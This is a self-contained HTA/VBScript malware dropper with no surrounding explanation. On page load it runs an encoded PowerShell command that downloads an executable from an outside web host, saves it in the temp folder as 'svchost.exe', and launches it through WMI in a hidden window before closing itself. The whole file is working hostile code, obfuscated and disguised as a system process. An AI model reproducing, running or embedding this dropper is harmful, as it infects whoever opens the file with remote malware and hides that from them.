<script language="VBScript">
    Function var_Rname()
        Dim Gponica
        Set Gponica = CreateObject("Wscript.Shell")
		temp = Gponica.expandEnvironmentStrings("%temp%")
        Gponica.run "powershell.exe -nop -w 1 -enc aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABlACgAIgBoAHQAdABwADoALwAvAGsAcgBvAHMAbgBvAHYAdQBuAGQAZQByAGcAcgBvAHUAbgBkAC4AcwBlAC8AcwBtAGYAYgBrAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AHQAZQBtAHAAXABzAHYAYwBoAG8AcwB0AC4AZQB4AGUAIgApACkAOwA=", 0, true
	End Function
	Sub window_onload
	const impersonation = 3
	Const HIDDEN_WINDOW = 12
	Set Locator = CreateObject("WbemScripting.SWbemLocator")
	Set Service = Locator.ConnectServer()
	Service.Security_.ImpersonationLevel=impersonation
	Set objStartup = Service.Get("Win32_ProcessStartup")
	Set objConfig = objStartup.SpawnInstance_
	objConfig.ShowWindow = HIDDEN_WINDOW
	Set Process = Service.Get("Win32_Process")
		Error = Process.Create("cmd /c %temp%\svchost.exe", null, objConfig, intProcessID)
	window.close()
end sub


    var_Rname
    self.close
</script>